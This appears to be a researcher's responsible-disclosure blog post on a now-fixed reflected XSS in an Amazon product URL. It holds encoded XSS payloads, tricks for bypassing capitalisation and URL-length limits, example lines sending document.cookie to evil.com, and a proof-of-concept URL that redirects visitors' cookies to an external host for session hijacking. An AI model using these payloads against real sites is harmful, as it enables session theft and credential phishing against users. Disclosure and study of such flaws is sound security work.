Masclient product page?

After 2 months I saw plenty of product urls, but never saw one having this masclient part. Let’s have a look.

Found Waldo!

Mmm. This looks like some custom product page they use inside their app. What happens if we change the product id?

Mmm that looks broken. No proper checks for the product id and it looks likes it capitalizes it. So… maybe we’re able to inject some HTML code? Lets see what happens if we try a <marquee> tag.

Great. It renders our input at 7 different places in the code, one of them right inside in a script tag.

A few problems we have

1. Input is capitalized; so javascript functions like alert become ALERT and stop working. Luckily someone else already circumvented that problem while working on an XSS attack at Yahoo.com. Solution: convert the plain text to HTML entities and URL encode the string, use the output inside an onload parameter of a svg tag. For example: <svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>

2. Closing tags are not allowed (</script>); it fires a 404 error, so it’s not possible to easily side load our own javascript file by using a <script src="evil.com/1.js"></script> block. Solution: use <svg onload=javascript:alert(1)> for javascript injections in the DOM. Or just use the vector we have inside of the script block. We are able to break out of it by adding a few characters: “}’> so the url becomes https://www.amazon.com/gp/masclient/dp/'}");}JAVASCRIPTHERE;{("

Due to the capitalization problem we may decide to use a jscrew.it technique in order to convert the javascript to ! ( ) + [ ] characters. An example url that just fires the debugger function is: https://www.amazon.com/gp/masclient/dp/'%7D");%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+`...

If the url length was not a problem it would be great to use this technique and inject fetch("evil.com"+document.cookie) (credits). However the url will become >8000 characters, and we run into problem 3.

3. Max url length is limited; Amazon stops loading the page if the url is longer than ~3500 chars, so we can’t take advantage of techniques like http://jscrew.it/. Solution: No idea, anyone?

Update: Redditor Flowible suggested to use jjencode, I tried to do that at the time of writing the report, but the use of $ signs was not possible. Anyone aware of variation that let us change the $ sign into a normal character?

Update: DrStache_ suggested to use octal encoding and javascript constructors.For example alert(1) is URL[‘\143\157\156\163\164\162\165\143\164\157\162’](‘\141\154\145\162\164(1)’)() and alert(document.cookie) is X=URL[‘\143\157\156\163\164\162\165\143\164\157\162’];X(‘\141\154\145\162\164(X(“\162\145\164\165\162\156 \144\157\143\165\155\145\156\164.\143\157\157\153\151\145”)())’)() Explained: X=URL[‘\143\157\156\163\164\162\165\143\164\157\162’]; X(‘\141\154\145\162\164(X(“\162\145\164\165\162\156 \144\157\143\165\155\145\156\164.\143\157\157\153\151\145”)())’)() is decoded X=URL[‘constructor’]; X(‘alert(X(“return document.cookie”)())’)() is decoded X=Function; X(‘alert(X(“return document.cookie”)())’)() is decoded Function(‘alert(Function(“return document.cookie”)())’)() is decoded alert(Function(“return document.cookie”)()) alert(document.cookie)

4. Chrome XSS Auditor; ERR_BLOCKED_BY_XSS_AUDITOR errors occur in Chrome (67.0.3396.62) if it detects any reflection attacks. For our proof of concept we use the Firefox (60.0.1) since it has no xss auditor. Solution: I was not able to find any unfixed bugs in the auditor. Anyone aware of a way to bypass this?

Proof of concept (Working in Firefox)

We will craft an Amazon url that automatically redirects the visitor to an external URL, appending the cookie details of this visitor to the URL. We log all the visits to this website, so we’re able to hijack their Amazon session. Furthermore we add some fake login screen, just for the sake of it, ‘we could have tried to steal login credentials’.

URL:

https://www.amazon.com/gp/masclient/dp/%22%7D'%3E%3Csvg%20onload%3D%26%23x77%3B%26%23x69%3B%26%23x6E%3B%26%23x64%3B%26%23x6F%3B%26%23x77%3B%26%23x2E%3B%26%23x6C%3B%26%23x6F%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6F%3B%26%23x6E%3B%26%2…

URL Decode:

https://www.amazon.com/gp/masclient/dp/"}'><svg onload=window.location.replace('https://s3-eu-west-1.amazonaws.com/pentesting-target/xss1.html?cookie='+escape(document.cookie))>

HTML Entities Decode:

https://www.amazon.com/gp/masclient/dp/"}'><svg onload=window.location.replace(‘https://s3-eu-west-1.amazonaws.com/pentesting-target/xss1.html?cookie='+escape(document.cookie))>

Bonus link, alert(1) in Chrome:

https://www.amazon.com/gp/masclient/dp/'%7D%22);%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![]);%7B(%22

Conclusion

Never forget to security audit your internal mobile app webpages, forgetting one parameter is enough to create an exploit with impact. Obfuscating your XSS payload can bypass different protections and allows you to create an unsuspicious url. Never stop searching for Waldo ;-)

Timeline

08–06–18 Discovered bug

09–06–18 Informed Amazon

11–06–18 Amazon confirmed the bug

14–06–18 Amazon fixed the bug, no rewards

15–06–18 Fix confirmed, blog published

10–07–18 Added encoding suggestion (credits: DrStache_)